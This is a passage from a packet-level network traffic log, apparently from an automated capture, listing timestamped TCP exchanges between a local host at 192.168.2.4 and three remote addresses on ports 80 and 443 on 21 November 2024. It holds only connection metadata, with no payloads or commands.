Nov 21, 2024 07:10:29.552520037 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.552576065 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.553560972 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.553620100 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.553621054 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.553672075 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.554636002 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.554783106 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.554837942 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.555744886 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.555857897 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.555911064 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.556827068 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.556879997 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.556926012 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.556972980 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.557898045 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.557950020 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.558008909 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.558058977 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.558988094 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.559034109 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.559145927 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.559209108 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.560105085 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.560159922 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.560205936 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.560256004 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.561160088 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.561218977 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.561269045 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.561397076 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.562244892 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.562299967 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.562313080 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.562341928 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.563345909 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.563443899 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.563503981 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.564413071 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.564465046 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.564522982 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.564569950 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.565491915 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.565538883 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.565582991 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.565627098 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.566574097 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.566622972 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.566673040 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.566721916 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.567662001 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.567775011 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.567821026 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.568769932 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.568815947 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.568875074 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.568922043 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.569840908 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.569889069 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.569963932 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.570008993 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.570934057 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.570981026 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.571036100 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.571080923 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.572033882 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.572110891 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.572160006 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.573177099 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.573224068 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.573273897 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.573319912 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.574188948 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.574234962 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.574342966 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.574388027 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.575277090 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.575388908 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.575445890 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.576360941 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.576401949 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.576477051 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.576520920 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.577452898 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.577507019 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.577549934 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.577591896 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.578538895 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.578579903 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.578646898 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.578687906 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.579631090 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.579780102 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.579830885 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.580702066 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.580749035 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.580820084 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.580862999 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.581862926 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.581904888 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.582009077 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.582050085 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.582880020 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.582921982 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.582999945 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.583039045 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.584006071 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.584369898 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.584423065 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.585081100 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.585122108 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.585192919 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.585232973 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.586226940 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.586270094 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.586445093 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.586488008 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.587222099 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.587270975 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.587318897 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.588327885 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.588371992 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.588459969 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.588501930 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.589365005 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.589406967 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.727521896 CET	443	49813	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:29.733630896 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.733701944 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.733840942 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.733944893 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.733999014 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.734051943 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.734095097 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.735028982 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.735090017 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.735234022 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.735290051 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.736177921 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.736236095 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.736238003 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.736278057 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.737199068 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.737246037 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.737293959 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.737337112 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.738329887 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.738382101 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.738425016 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.738471031 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.739386082 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.739487886 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.739538908 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.740473986 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.740526915 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.740571022 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.740614891 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.741843939 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.741893053 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.741935968 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.741980076 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.742643118 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.742688894 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.742724895 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.742765903 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.743705034 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.747205973 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.777787924 CET	49813	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:29.793791056 CET	49813	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:29.793802977 CET	443	49813	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:29.794222116 CET	49813	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:29.794228077 CET	443	49813	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:29.800318003 CET	443	49811	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:29.800367117 CET	443	49811	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:29.800441027 CET	49811	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:29.802515984 CET	49811	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:29.802539110 CET	443	49811	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:29.802555084 CET	49811	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:29.802561998 CET	443	49811	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:29.876189947 CET	49816	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:29.876238108 CET	443	49816	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:29.876331091 CET	49816	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:29.885879993 CET	443	49814	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:29.922975063 CET	443	49812	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:29.934051037 CET	49814	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:29.947324038 CET	49816	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:29.947344065 CET	443	49816	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:29.948029995 CET	49814	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:29.948040962 CET	443	49814	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:29.948501110 CET	49814	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:29.948506117 CET	443	49814	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:29.965240955 CET	49812	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:29.980715036 CET	49812	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:29.980722904 CET	443	49812	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:29.991090059 CET	49812	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:29.991094112 CET	443	49812	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:30.131743908 CET	443	49815	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:30.170409918 CET	443	49813	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:30.170466900 CET	443	49813	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:30.170546055 CET	49813	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:30.184000969 CET	49815	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:30.192325115 CET	49815	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:30.192370892 CET	443	49815	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:30.192729950 CET	49815	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:30.192742109 CET	443	49815	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:30.197956085 CET	49813	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:30.197992086 CET	443	49813	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:30.198021889 CET	49813	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:30.198036909 CET	443	49813	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:30.200375080 CET	49817	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:30.200469017 CET	443	49817	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:30.200563908 CET	49817	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:30.200678110 CET	49817	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:30.200716019 CET	443	49817	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:30.338200092 CET	443	49814	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:30.338363886 CET	443	49814	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:30.338419914 CET	49814	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:30.342662096 CET	49814	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:30.342679977 CET	443	49814	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:30.342689037 CET	49814	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:30.342694998 CET	443	49814	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:30.358469009 CET	49818	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:30.358545065 CET	443	49818	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:30.358612061 CET	49818	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:30.359097004 CET	49818	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:30.359132051 CET	443	49818	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:30.368439913 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:30.368499041 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:30.375969887 CET	443	49812	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:30.376610994 CET	443	49812	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:30.376663923 CET	49812	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:30.376821041 CET	49812	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:30.376830101 CET	443	49812	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:30.376849890 CET	49812	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:30.376856089 CET	443	49812	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:30.468915939 CET	49819	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:30.468974113 CET	443	49819	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:30.469043016 CET	49819	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:30.471522093 CET	49819	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:30.471564054 CET	443	49819	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:30.574850082 CET	443	49815	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:30.574933052 CET	443	49815	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:30.574997902 CET	49815	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:30.578960896 CET	49815	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:30.578962088 CET	49815	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:30.579003096 CET	443	49815	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:30.579051018 CET	443	49815	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:30.633819103 CET	49820	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:30.633902073 CET	443	49820	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:30.633980036 CET	49820	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:30.664470911 CET	49820	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:30.664520979 CET	443	49820	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:30.694185019 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:30.813637972 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.153626919 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.153717041 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.153721094 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.153904915 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.156097889 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.156178951 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.156251907 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.156328917 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.164504051 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.164560080 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.164607048 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.164701939 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.175208092 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.175239086 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.175287008 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.181307077 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.181318045 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.181396008 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.189578056 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.189922094 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.283488989 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.283512115 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.283546925 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.283566952 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.287626982 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.287729979 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.287763119 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.287875891 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.297614098 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.297739983 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.297770023 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.297791958 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.302148104 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.302242041 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.302284956 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.302284956 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.310516119 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.310614109 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.310636044 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.310735941 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.318914890 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.318979025 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.377458096 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.377537966 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.377576113 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.377662897 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.381627083 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.381726980 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.381835938 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.388094902 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.388142109 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.388149023 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.388180971 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.396462917 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.396513939 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.396595001 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.396647930 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.404922962 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.404993057 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.405025959 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.405060053 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.413213968 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.413274050 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.413326979 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.413393021 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.421684980 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.421698093 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.421737909 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.421753883 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.427154064 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.427262068 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.427335024 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.427335024 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.435548067 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.435605049 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.435638905 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.435703993 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.443941116 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.443994045 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.444036961 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.444073915 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.450695038 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.450779915 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.484494925 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.484606981 CET	49807	80	192.168.2.4	185.215.113.206
